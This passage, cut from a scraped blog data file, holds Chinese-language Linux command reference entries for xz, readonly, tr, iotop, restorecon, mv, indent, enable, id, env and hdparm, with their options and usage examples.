gzip、bzip2 生成的压缩文件更小,而且解压缩速度也很快。最初 XZ Utils 的是基于 LZMA-SDK 开发,但是 LZMA-SDK 包含了一些 WINDOWS 平台的特性,所以 XZ Utils 为以适应 POSIX 平台作了大幅的修改。XZ Utils 的出现也是为了取代 POSIX 系统中旧的 LZMA Utils。 语法 xz (选项) (参数) xz [OPTION]... [FILE]... 选项 -z, --compress # 强制压缩 -d, --decompress, --uncompress # force decompression -t, --test # 测试压缩文件的完整性 -l, --list # 列出有关.xz 文件的信息 -k, --keep # 保留(不要删除)输入文件 -f, --force # 强制覆盖输出文件和(解)压缩链接 -c, --stdout, --to-stdout # 写入标准输出,不要删除输入文件 -0 ... -9 # 压缩预设; 默认为 6; 取压缩机*和* # 使用 7-9 之前解压缩内存使用量考虑在内! -e, --extreme # 尝试通过使用更多的 CPU 时间来提高压缩比; # 要求不影响解压缩存储器 -T, --threads=NUM # 最多使用 NUM 个线程; 默认值为 1; set to 0 # 设置为 0,使用与处理器内核一样多的线程 -q, --quiet # 抑制警告; 指定两次以抑制错误 -v, --verbose # 冗长; 指定两次更详细 -h, --help # 显示这个简洁的帮助并退出 -H, --long-help # 显示更多帮助(还列出了高级选项) -V, --version # 显示版本号并退出 参数 源文件:指定连接的源文件。 目标文件:指定源文件的目标连接文件。 实例 压缩一个文件 test.txt,压缩成功后生成 test.txt.xz, 原文件会被删除。 $ xz test.txt $ ls test.txt* test.txt.xz 解压 test.txt.xz 文件,并使用参数 -k 保持原文件不被删除 $ xz -d -k test.txt.xz $ ls test.txt* test.txt.xz test.txt 使用参数 -l 显示 .xz 文件的基本信息。基本信息包括压缩率、数据完整性验证方式等。也可以和参数 -v 或 -vv 配合显示更详尽的信息。 xz -l index.txt.xz # Strms Blocks Compressed Uncompressed Ratio Check Filename # 1 1 768 B 1,240 B 0.619 CRC64 index.txt. 使用参数 -0, -1, -2, … -6, … -9 或参数 --fast, --best 设定压缩率。xz 命令的默认为 -6 ,对于大多数系统来说,甚至是一些较旧的系统,-4 … -6 压缩率预设值都不错的表现。 $ xz -k7 xz_pipe_decomp_mini.c $ xz -k --fast xz_pipe_decomp_mini.c 使用参数 -H 显示 xz 命令所有 options. 参数 -H 比使用参数 --help 显示的内容更详细。 $ xz -H | more 借助 xargs 命令并行压缩多文件。下面的命令行可以将 /var/log 目录下所有的扩展名为 .log 的文件压缩。通过 xargs 命令同时运行多个 xz 进行压缩。 # 运行此命令须有 root 权限。 find /var/log -type f -iname "*.log" -print0 | xargs -P4 -n16 xz -T1 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"xz","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/xz/","stats":{"text":"4 min read","time":186000,"words":769,"minutes":4},"date":"2022-02-03 16:19:44","dateFormat":"2022-02-03"},{"content":"标记 shell 变量或函数为只读。 语法 readonly [-aAf] [name[=value] ...] readonly -p 主要用途 定义一到多个变量并设置只读属性。 为已定义的一到多个变量设置只读属性。 显示全部包含只读属性的变量。 为已定义的一到多个函数设置只读属性。 显示全部包含只读属性的函数。 选项 -a:指向数组。 -A:指向关联数组。 -f:指向函数。 -p:显示全部只读变量。 --:在它之后的选项无效。 参数 name(可选):变量名或函数名 value(可选):变量的值 返回值 readonly 返回 true 除非你提供了非法选项或非法名称。 例子 # 定义变量并增加只读属性 readonly var1=13 var2 readonly -a arr1=(1 2 3 4 5) arr2=('z' 'x' 'c') # 必须有 '-A' 选项 readonly -A dict1=(['key1']='value1') # 先定义变量、函数,然后再为它们添加只读属性 max=3 readonly max # 数组定义时可以不加 `declare -a` seasons=('spring' 'summer' 'autumn' 'winter') # 为数组添加只读属性时可以不加 `-a` 选项 readonly seasons declare -A man=(['age']=23 ['height']='190cm') # 为关联数组添加只读属性时可以不加 `-A` 选项 readonly man function foo(){ echo 'bar'; } # 为函数添加只读属性时必须加 `-f` 选项 readonly -f foo # 显示全部只读变量,以下两个命令的显示结果一样 readonly readonly -p # 显示全部拥有只读属性的数组 readonly -a # 显示全部拥有只读属性的关联数组 readonly -A # 显示全部拥有只读属性的函数 readonly -f 常见错误 对于只读变量而言,若用户对其值进行修改,则会立即报错。例如,使用该指令定义一个只读变量"test",并且将其值初始化为"ok",输入如下命令: [root@localhost ~]# readonly test='ok' #定义只读变量并初始化 那么当用户直接修改该只读变量时就会报错,如下所示: [root@localhost ~]# test='my' #试图修改只读变量的值 -bash: test: readonly variable 当用户试图修改只读变量的值时,会被提示该变量为只读变量。 注意 该命令是 bash 内建命令,相关的帮助信息请查看help命令。 declare +r不能去除只读属性, unset不能删除只读变量。 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"readonly","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/readonly/","stats":{"text":"3 min read","time":134000,"words":585,"minutes":3},"date":"2022-02-03 16:18:55","dateFormat":"2022-02-03"},{"content":"将字符进行替换压缩和删除。 补充说明 tr 命令可以对来自标准输入的字符进行替换、压缩和删除。它可以将一组字符变成另一组字符,经常用来编写优美的单行命令,作用很强大。 语法 tr (选项) (参数) 选项 -c 或——complerment:取代所有不属于第一字符集的字符; -d 或——delete:删除所有属于第一字符集的字符; -s 或--squeeze-repeats:把连续重复的字符以单独一个字符表示; -t 或--truncate-set1:先删除第一字符集较第二字符集多出的字符。 参数 字符集 1:指定要转换或删除的原字符集。当执行转换操作时,必须使用参数“字符集 2”指定转换的目标字符集。但执行删除操作时,不需要参数“字符集 2”; 字符集 2:指定要转换成的目标字符集。 实例 将输入字符由大写转换为小写: echo "HELLO WORLD" | tr 'A-Z' 'a-z' hello world 'A-Z' 和 'a-z' 都是集合,集合是可以自己制定的,例如:'ABD-}'、'bB.,'、'a-de-h'、'a-c0-9' 都属于集合,集合里可以使用 '\\n'、'\\t',可以可以使用其他 ASCII 字符。 使用 tr 删除字符: echo "hello 123 world 456" | tr -d '0-9' hello world 将制表符转换为空格: cat text | tr '<span title="\\t">\\t' ' ' 字符集补集,从输入文本中将不在补集中的所有字符删除: echo aa.,a 1 b#$bb 2 c*/cc 3 ddd 4 | tr -d -c '0-9 \\n' 1 2 3 4 此例中,补集中包含了数字 0~9、空格和换行符\\n,所以没有被删除,其他字符全部被删除了。 用 tr 压缩字符,可以压缩输入中重复的字符: echo "thissss is a text linnnnnnne." | tr -s ' sn' this is a text line. 巧妙使用 tr 做数字相加操作: echo 1 2 3 4 5 6 7 8 9 | xargs -n1 | echo $[ $(tr '<span title="\\n">\\n' '+') 0 ] 删除 Windows 文件“造成”的 '^M' 字符: cat file | tr -s "<span title="\\r">\\r" "<span title="\\n">\\n" > new_file 或 cat file | tr -d "<span title="\\r">\\r" > new_file tr 可以使用的字符类: [:alnum:]:字母和数字 [:alpha:]:字母 [:cntrl:]:控制(非打印)字符 [:digit:]:数字 [:graph:]:图形字符 [:lower:]:小写字母 [:print:]:可打印字符 [:punct:]:标点符号 [:space:]:空白字符 [:upper:]:大写字母 [:xdigit:]:十六进制字符 使用方式: tr '[:lower:]' '[:upper:]' ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"tr","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/tr/","stats":{"text":"3 min read","time":162000,"words":642,"minutes":3},"date":"2022-02-03 16:18:41","dateFormat":"2022-02-03"},{"content":"用来监视磁盘 I/O 使用状况的工具。 补充说明 iotop 命令是一个用来监视磁盘 I/O 使用状况的 top 类工具。iotop 具有与 top 相似的 UI,其中包括 PID、用户、I/O、进程等相关信息。Linux 下的 IO 统计工具如 iostat,nmon 等大多数是只能统计到 per 设备的读写情况,如果你想知道每个进程是如何使用 IO 的就比较麻烦,使用 iotop 命令可以很方便的查看。 iotop 使用 Python 语言编写而成,要求 Python2.5(及以上版本)和 Linux kernel2.6.20(及以上版本)。iotop 提供有源代码及 rpm 包,可从其官方主页下载。 安装 Ubuntu apt-get install iotop CentOS yum install iotop 编译安装 wget http://guichaz.free.fr/iotop/files/iotop-0.4.4.tar.gz tar zxf iotop-0.4.4.tar.gz python setup.py build python setup.py install 语法 iotop(选项) 选项 -o:只显示有 io 操作的进程 -b:批量显示,无交互,主要用作记录到文件。 -n NUM:显示 NUM 次,主要用于非交互式模式。 -d SEC:间隔 SEC 秒显示一次。 -p PID:监控的进程 pid。 -u USER:监控的进程用户。 iotop 常用快捷键: 左右箭头:改变排序方式,默认是按 IO 排序。 r:改变排序顺序。 o:只显示有 IO 输出的进程。 p:进程/线程的显示方式的切换。 a:显示累积使用量。 q:退出。 实例 直接执行 iotop 就可以看到效果了: Total DISK read: 0.00 B/s | Total DISK write: 0.00 B/s TID PRIO USER DISK READ DISK WRITE SWAPIN IO> command 1 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % init [3] 2 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [kthreadd] 3 rt/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [migration/0] 4 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [ksoftirqd/0] 5 rt/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [watchdog/0] 6 rt/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [migration/1] 7 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [ksoftirqd/1] 8 rt/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [watchdog/1] 9 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [events/0] 10 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [events/1] 11 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [khelper] 2572 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [bluetooth] ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"iotop","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/iotop/","stats":{"text":"4 min read","time":181000,"words":619,"minutes":4},"date":"2022-02-03 16:18:13","dateFormat":"2022-02-03"},{"content":"恢复文件的安全上下文。 补充说明 restorecon 命令用来恢复 SELinux 文件属性即恢复文件的安全上下文。 语法 restorecon [-iFnrRv] [-e excludedir ] [-o filename ] [-f filename | pathname...] 选项 -i:忽略不存在的文件。 -f:infilename 文件 infilename 中记录要处理的文件。 -e:directory 排除目录。 -R/-r:递归处理目录。 -n:不改变文件标签。 -o/outfilename:保存文件列表到 outfilename,在文件不正确情况下。 -v:将过程显示到屏幕上。 -F:强制恢复文件安全语境。 实例 假设 CentOS 安装了 apache,网页默认的主目录是/var/www/html,我们经常遇到这样的问题,在其他目录中创建了一个网页文件,然后用 mv 移动到网页默认目录/var/www/html中,但是在浏览器中却打不开这个文件,这很可能是因为这个文件的 SELinux 配置信息是继承原来那个目录的,与/var/www/html目录不同,使用 mv 移动的时候,这个 SELinux 配置信息也一起移动过来了,从而导致无法打开页面,具体请看下面的实例: 使用 CentOS 举例,如果默认没有安装 apache,确保网络连接,使用下面的命令安装 [root@jsdig.com ~]# yum install httpd # 我们在 root 的家目录新建一个 html 文件 [root@jsdig.com ~]# pwd /root [root@jsdig.com ~]# vi index.html # 随便输入一段文字,保存退出 welcome to www.jsdig.com # 将这个文件 mv 到网页默认目录下 [root@jsdig.com ~]# mv index.html /var/www/html/ # # 这个时候我们使用 firefox 浏览器输入 127.0.0.1/index.html 发现打不开, # 查看一下 SELinux 的日志文件,发现了下面这一段报错信息,从这个报错信息不难看出, # 进程 httpd 访问网页主目录中的 index.html 时被 SELinux 阻止,原因是因为,SELinux 配置信息不正确, # 正确的 SELinux 配置信息应该是 scontext=后面的部分, # 而 index.html 文件的 SELinux 配置信息却是 tcontext=后面的部分, # 从 tcontext=的第三段“admin_home_t”不难看出,这个文件的 SELinux 配置信息是 root 用户家目录的。 # type=AVC msg=audit(1378974214.610:465): avc: denied { open } for pid=2359 comm="httpd" path="/var/www/html/index.html" dev="sda1" ino=1317685 scontext=system_u:system_r:httpd_t:s0 tcontext=unconfined_u:object_r:admin_home_t:s0 tclass=file 使用 ls -Z 也可以看出,文件和目录的 SELinux 信息不匹配 [root@jsdig.com html]# ls -Z /var/www/html/ .... unconfined_u:object_r:admin_home_t:s0 index.html [root@jsdig.com html]# ls -Zd /var/www/html/ .... system_u:object_r:httpd_sys_content_t:s0 /var/www/html/ 使用 restorecon 来恢复网页主目录中所有文件的 SELinux 配置信息 (如果目标为一个目录,可以添加-R 参数递归) [root@jsdig.com html]# restorecon -R /var/www/html/ ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"restorecon","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/restorecon/","stats":{"text":"3 min read","time":171000,"words":691,"minutes":3},"date":"2022-02-03 16:17:57","dateFormat":"2022-02-03"},{"content":"用来对文件或目录重新命名。 补充说明 mv 命令用来对文件或目录重新命名,或者将文件从一个目录移到另一个目录中。source 表示源文件或目录,target 表示目标文件或目录。如果将一个文件移到一个已经存在的目标文件中,则目标文件的内容将被覆盖。 mv 命令可以用来将源文件移至一个目标文件中,或将一组文件移至一个目标目录中。源文件被移至目标文件有两种不同的结果: 如果目标文件是到某一目录文件的路径,源文件会被移到此目录下,且文件名不变。 如果目标文件不是目录文件,则源文件名(只能有一个)会变为此目标文件名,并覆盖己存在的同名文件。如果源文件和目标文件在同一个目录下,mv 的作用就是改文件名。当目标文件是目录文件时,源文件或目录参数可以有多个,则所有的源文件都会被移至目标文件中。所有移到该目录下的文件都将保留以前的文件名。 注意事项:mv 与 cp 的结果不同,mv 好像文件“搬家”,文件个数并未增加。而 cp 对文件进行复制,文件个数增加了。 语法 mv (选项) (参数) 选项 --backup=<备份模式>:若需覆盖文件,则覆盖前先行备份; -b:当文件存在时,覆盖前,为其创建一个备份; -f:若目标文件或目录与现有的文件或目录重复,则直接覆盖现有的文件或目录; -i:交互式操作,覆盖前先行询问用户,如果源文件与目标文件或目标目录中的文件同名,则询问用户是否覆盖目标文件。用户输入”y”,表示将覆盖目标文件;输入”n”,表示取消对源文件的移动。这样可以避免误将文件覆盖。 --strip-trailing-slashes:删除源文件中的斜杠“/”; -S<后缀>:为备份文件指定后缀,而不使用默认的后缀; --target-directory=<目录>:指定源文件要移动到目标目录; -u:当源文件比目标文件新或者目标文件不存在时,才执行移动操作。 参数 源文件:源文件列表。 目标文件:如果“目标文件”是文件名则在移动文件的同时,将其改名为“目标文件”;如果“目标文件”是目录名则将源文件移动到“目标文件”下。 实例 将目录/usr/men中的所有文件移到当前目录(用.表示)中: mv /usr/men/* . 移动文件 mv file_1.txt /home/office/ 移动多个文件 mv file_2.txt file_3.txt file_4.txt /home/office/ mv *.txt /home/office/ 移动目录 mv directory_1/ /home/office/ 重命名文件或目录 mv file_1.txt file_2.txt # 将文件 file_1.txt 改名为 file_2.txt 重命名目录 mv directory_1/ directory_2/ 打印移动信息 mv -v *.txt /home/office 提示是否覆盖文件 mv -i file_1.txt /home/office 源文件比目标文件新时才执行更新 mv -uv *.txt /home/office 不要覆盖任何已存在的文件 mv -vn *.txt /home/office 复制时创建备份 mv -bv *.txt /home/office 无条件覆盖已经存在的文件 mv -f *.txt /home/office ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"mv","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/mv/","stats":{"text":"4 min read","time":189000,"words":863,"minutes":4},"date":"2022-02-03 16:17:43","dateFormat":"2022-02-03"},{"content":"格式化 C 语言的源文件。 补充说明 indent 命令可辨识 C 的原始代码文件,并加以格式化,以方便程序员阅读、修改等操作。 语法 indent (选项)(源文件) 或 indent(选项)(源文件)(-o 目标文件) 选项 -bad:在声明区加上空白行; -bap:添加空白行; -bbb:在注释后面添加空白行; -bc:在声明段中,如果出现逗号就换行; -bl:if(或是 else、for 等)与后面执行区段的“{”不同行,且“}”自成一行-bli<缩排格数>设置 {} 缩排的格数; -br:if(或是 else、for 等)与后面执行区段的“{”同行,且“}”自成一行; -bs:在 sizeof 之后空一格; -c<栏数>:将注释置于程序右侧指定的栏位; -cd<栏数>:将注释置于声明右侧指定的栏位; -cdb:注释符号自成一行; -ce:将 else 置于“}”(if 执行区段的结尾)之后; -ci:<缩排格数>:叙述过长而换行时,指定换行后缩排的格数; -cli<缩排格数>:使用 case 时,switch 缩排的格数; -cp<栏数>:将注释置于 else 与 elseif 叙述右侧指定的栏位; -cs:在 case 之后空一格; -d<缩排格数>:针对不是放在程序码右侧的注释,设置其缩排格数; -di<栏数>:将声明区段的变量置于指定的栏位; -fc1:针对放在每行最前端的注释,设置其格式; -fca:设置所有注释的格式; -gnu:使用指定的 GNU 格式,该参数为默认值; -i<格数>:设置缩排的格数; -ip<格数>:设置参数的缩排格数; -kr:指定使用 Kernighan&Ritchie 的格式; -lp:叙述过长而换行,且叙述中包含了括号时,将括号中的每行起始栏位内容垂直对其排列; -nbad:在声明区段后不要加上空白行; -nbap:在程序后面不添加空白行; -nbbb:在注释段后面不添加空白行; -nbc:在声明段中,即使出现逗号,也不换行; -ncdb:注释符号不自成一行; -nce:不将 else 置于“}”后面; -ncs:不在 case 后面空一格; -nfc1:不要格式化放在每行最前端的注释; -nfca:不用格式化任何的注释; -nip:参数不要缩排; -nlp:叙述过长而换行,且叙述中包含了括号时,不用将括号中的每行起始栏位垂直对其排列; -npcs:在调用函数名之后,不要添加空格; -npro:不要读取 indent 的配置文件“.indent.pro”; -npsl:程序类型与程序名称放在同一行; -nsc:注释左侧不要添加星号; -nsob:不用处理多余的空白行; -nss:若 for 或 while 区段仅有一行时,在分号前不加空格; -nv:不显示详细的信息; -orig:使用 berkeley 格式; -pcs:在调用函数名与“{”之间添加空格; -psl:程序类型置于程序名称的前一行; -sc:在每行注释左侧添加星号; -sob:删除多余的空白行; -ss:若 for 或 swile 区段仅有一行时,在分号前加上空格; -st:将结果显示在标准输出设备上; -T:数据类型名称缩排; -ts<格数>:设置 tab 的长度; -v:显示详细的执行过程; --version:显示版本信息。 实例 使用 indent 命令将 C 语言源文件"test.c"中所有的 sizeof 后面添加一个空格,输入如下命令: indent -bs /home/rootlocal/桌面/test.c 执行上面的命令后,用户可以打开指定的源文件查看在 sizeof 后面是否都添加了一个空格。由于该命令的参数非常多,所以用户可以根据实际需要选择适合的参数进行使用即可。 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"indent","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/indent/","stats":{"text":"4 min read","time":215000,"words":969,"minutes":4},"date":"2022-02-03 16:17:28","dateFormat":"2022-02-03"},{"content":"启动或禁用 shell 内建命令。 概要 enable [-a] [-dnps] [-f filename] [name ...] 主要用途 禁用一到多个内建命令。 启用一到多个内建命令。 直接调用与禁用的内建命令同名且在 $PATH 路径下找到的外部命令。 打印所有内建命令,无论是否禁用。 打印处于启用状态的内建命令。 打印处于禁用状态的内建命令。 打印处于启用状态的 posix 标准内建命令。 打印处于禁用状态的 posix 标准内建命令。 打印 posix 标准内建命令,无论是否禁用。 从动态库中加载内建命令。 移除从动态库中加载的内建命令。 选项 -a 打印所有内建命令,无论是否禁用。 -d 移除从动态库中加载的内建命令。 -n 禁用内建命令或显示已禁用的内建命令。 -p 以可复用格式打印。 -s 只显示处于启动状态的 posix 标准内建命令。 -f 动态库中加载内建命令。 -ns 打印处于禁用状态的 posix 标准内建命令。 -as 打印 posix 标准内建命令,无论是否禁用。 参数 filename:动态库文件名。 name(可选):内建命令,可以为多个。 返回值 enable 返回成功,除非 name 不是内建命令或有错误发生。 例子(以下内容限于篇幅不再列出返回值部分) # posix special builtin # 假设没有任何内建命令被禁用 # 禁用两个 posix 标准内建命令 enable -n set source # 打印处于禁用状态的 posix 标准内建命令 enable -ns # 打印 posix 标准内建命令,无论是否禁用。 enable -as # 打印处于启用状态的 posix 标准内建命令 enable -s # 假设没有任何内建命令被禁用 # 禁用一到多个内建命令 enable -n echo pwd # 打印所有内建命令,无论是否禁用。 enable -a # 打印处于启用状态的内建命令 enable # 打印处于禁用状态的内建命令 enable -n # 启用一到多个内建命令 enable pwd Q&A Q:请问-f,-d,-p的演示呢? A:说明一下,-f与-d限于个人能力没有找到合适的例子,如果您有更好的例子欢迎提 pr; 经过我验证-p选项是否使用好像没有区别,可以比较enable -p|cat -A和enable|cat -A 有什么区别。(注:cat -A用于显示不可见字符) Q:是否可以禁用enable自己?之后还能禁用或启用内建命令吗? A:可以;不能。 注意 linux shell 命令执行时,shell 总是先在自己的 shell builtin 中查找该命令,如果找到则执行该命令;如果找不到该命令,则会从环境变量$PATH指定的路径中依次去查找待执行的命令。看起来好像没有办法编写用户自己的命令来替代 shell builtin 命令。幸运的是,有了enable命令我们就能做到了。 关于同名命令调用的优先级的知识,请先参考builtin命令的提示部分,然后继续阅读下面部分; 当内建命令echo没有禁用时,如果要调用外部命令echo,只能这样写/usr/bin/echo; 当我们禁用了echo后,优先级顺序变成了这样: 函数 > 外部命令 如果执行命令的环境没有echo函数,那么调用的echo就是外部命令。 该命令是 bash 内建命令,相关的帮助信息请查看 help 命令。 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"enable","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/enable/","stats":{"text":"4 min read","time":198000,"words":905,"minutes":4},"date":"2022-02-03 16:15:58","dateFormat":"2022-02-03"},{"content":"打印真实以及有效的用户和所在组的信息。 概要 id [OPTION]... [USER]... 主要用途 没有选项时,打印指定用户 ID 信息。 选项 -a 兼容性选项,没有实际作用。 -Z, --context 只打印进程的安全上下文。 -g, --group 只打印有效的组 ID。 -G, --groups 打印全部组 ID。 -u, --user 只打印有效的用户 ID。 -z, --zero 使用空字符代替默认的空格来分隔条目。 --help 显示帮助信息并退出。 --version 显示版本信息并退出。 只有在使用 -u -g -G 选项中一到多个时,以下选项可以使用: -n, --name 打印名称而不是数字。 -r, --real 打印真实 ID 而不是有效 ID。 参数 user(可选):可以为一到多个,默认为当前用户。 返回值 返回 0 表示成功,返回非 0 值表示失败。 例子 [root@localhost ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 解释:用户 root 的 UID 号码 = 0,GID 号码 = 0。用户 root 是下面组的成员: root 组 GID 号是:0 bin 组 GID 号是:1 daemon 组 GID 号是:2 sys 组 GID 号是:3 adm 组 GID 号是:4 disk 组 GID 号是:6 wheel 组 GID 号是:10 打印用户名、UID 和该用户所属的所有组,要这么做,我们可以使用 -a 选项: [root@localhost ~]# id -a uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 输出所有不同的组 ID ,有效的,真实的和补充的,我们可以使用 -G 选项来实现: [root@localhost ~]# id -G 0 1 2 3 4 6 10 结果只会显示 GID 号。你可以和/etc/group文件比较。下面是/etc/group文件的示例内容: 只输出有效的组 ID,通过使用 -g 选项来只输出有效组 ID: [root@localhost ~]# id -g 0 输出特定用户信息,我们可以输出特定的用户信息相关的 UID 和 GID。只需要在 id 命令后跟上用户名: [root@localhost ~]# id www uid=500(www) gid=500(www) groups=500(www) 注意 该命令可以显示真实有效的用户 ID(UID) 和组 ID(GID)。UID 是对一个用户的单一身份标识。组 ID(GID)则对应多个 UID;一些程序可能需要 UID/GID 来运行。id 使我们更加容易地找出用户的 UID 以及 GID,而不必在 /etc/group 文件中搜寻。 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 id,info coreutils 'id invocation'。 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"id","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/id/","stats":{"text":"3 min read","time":158000,"words":637,"minutes":3},"date":"2022-02-03 16:15:46","dateFormat":"2022-02-03"},{"content":"显示系统中已存在的环境变量。 补充说明 env 命令用于显示系统中已存在的环境变量,以及在定义的环境中执行指令。该命令只使用"-"作为参数选项时,隐藏了选项"-i"的功能。若没有设置任何选项和参数时,则直接显示当前的环境变量。 如果使用 env 命令在新环境中执行指令时,会因为没有定义环境变量"PATH"而提示错误信息"such file or directory"。此时,用户可以重新定义一个新的"PATH"或者使用绝对路径。 语法 env (选项) (参数) 选项 -i:开始一个新的空的环境; -u<变量名>:从当前环境中删除指定的变量。 参数 变量定义:定义在新的环境中变量,定义多个变量定义用空格隔开。格式为“变量名=值”; 指定:指定要执行的指令和参数。 实例 [root@localhost ~]# env hostname=LinServ-1 TERM=linux SHELL=/bin/bash HISTSIZE=1000 SSH_CLIENT=192.168.2.111 2705 22 SSH_TTY=/dev/pts/0 USER=root LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35: mail=/var/spool/mail/root PATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin INPUTRC=/etc/inputrc pwd=/root LANG=zh_CN.UTF-8 SHLVL=1 HOME=/root logname=root SSH_CONNECTION=192.168.2.111 2705 192.168.2.2 22 LESSOPEN=|/usr/bin/lesspipe.sh %s G_BROKEN_FILENAMES=1 _=/bin/env ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"env","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/env/","stats":{"text":"3 min read","time":134000,"words":469,"minutes":3},"date":"2022-02-03 16:15:30","dateFormat":"2022-02-03"},{"content":"显示与设定硬盘的参数。 补充说明 hdparm 命令提供了一个命令行的接口用于读取和设置 IDE 或 SCSI 硬盘参数。 语法 hdparm (选项) (参数) 选项 -a<快取分区>:设定读取文件时,预先存入块区的分区数,若不加上<快取分区>选项,则显示目前的设定; -A<0 或 1>:启动或关闭读取文件时的快取功能; -c<I/O 模式>:设定 IDE32 位 I/O 模式; -C:检测 IDE 硬盘的电源管理模式; -d<0 或 1>:设定磁盘的 DMA 模式; -f:将内存缓冲区的数据写入硬盘,并清楚缓冲区; -g:显示硬盘的磁轨,磁头,磁区等参数; -h:显示帮助; -i:显示硬盘的硬件规格信息,这些信息是在开机时由硬盘本身所提供; -I:直接读取硬盘所提供的硬件规格信息; -k<0 或 1>:重设硬盘时,保留-dmu 参数的设定; -K<0 或 1>:重设硬盘时,保留-APSWXZ 参数的设定; -m<磁区数>:设定硬盘多重分区存取的分区数; -n<0 或 1>:忽略硬盘写入时所发生的错误; -p<PIO 模式>:设定硬盘的 PIO 模式; -P<磁区数>:设定硬盘内部快取的分区数; -q:在执行后续的参数时,不在屏幕上显示任何信息; -r<0 或 1>:设定硬盘的读写模式; -S<时间>:设定硬盘进入省电模式前的等待时间; -t;评估硬盘的读取效率; -T:平谷硬盘快取的读取效率; -u<0 或 1>:在硬盘存取时,允许其他中断要求同时执行; -v:显示硬盘的相关设定; -w<0 或 1>:设定硬盘的写入快取; -X<传输模式>:设定硬盘的传输模式; -y:使 IDE 硬盘进入省电模式; -Y:使 IDE 硬盘进入睡眠模式; -Z:关闭某些 Seagate 硬盘的自动省电功能。 参数 设备文件:指定 id 驱动对应的设备文件名。 实例 显示硬盘的相关设置: hdparm /dev/sda /dev/sda: IO_support = 0 (default 16-bit) readonly = 0 (off) readahead = 256 (on) geometry = 19457[柱面数]/255[磁头数]/63[扇区数], sectors = 312581808[总扇区数], start = 0[起始扇区数] ```shell 显示硬盘的柱面、磁头、扇区数: ```shell hdparm -g /dev/sda /dev/sda: geometry = 19457[柱面数]/255[磁头数]/63[扇区数], sectors = 312581808[总扇区数], start = 0[起始扇区数] 测试硬盘的读取速度: hdparm -T /dev/sda /dev/sda: Timing cached reads: 4684 MB in 2.00 seconds = 2342.92 MB/sec 测试硬盘缓存的读取速度: hdparm -T /dev/xvda /dev/xvda: Timing cached reads: 11154 MB in 1.98 seconds = 5633.44 MB/sec 检测硬盘的电源管理模式: hdparm -C /dev/sda /dev/sda: drive state is: standby [省电模式 ] 查询并设置硬盘多重扇区存取的扇区数,以增进硬盘的存取效率: hdparm -m /dev/sda hdparm -m #参数值为整数值如 8 /dev/sda 附:硬盘坏道修复方法 检查:smartctl -l selftest /dev/sda 卸载:umount /dev/sda* 修复:badblocks /dev/sda ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"hdparm","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/hdparm/","stats":{"text":"4 min read","time":196000,"words":805,"minutes":4},"date":"2022-02-03 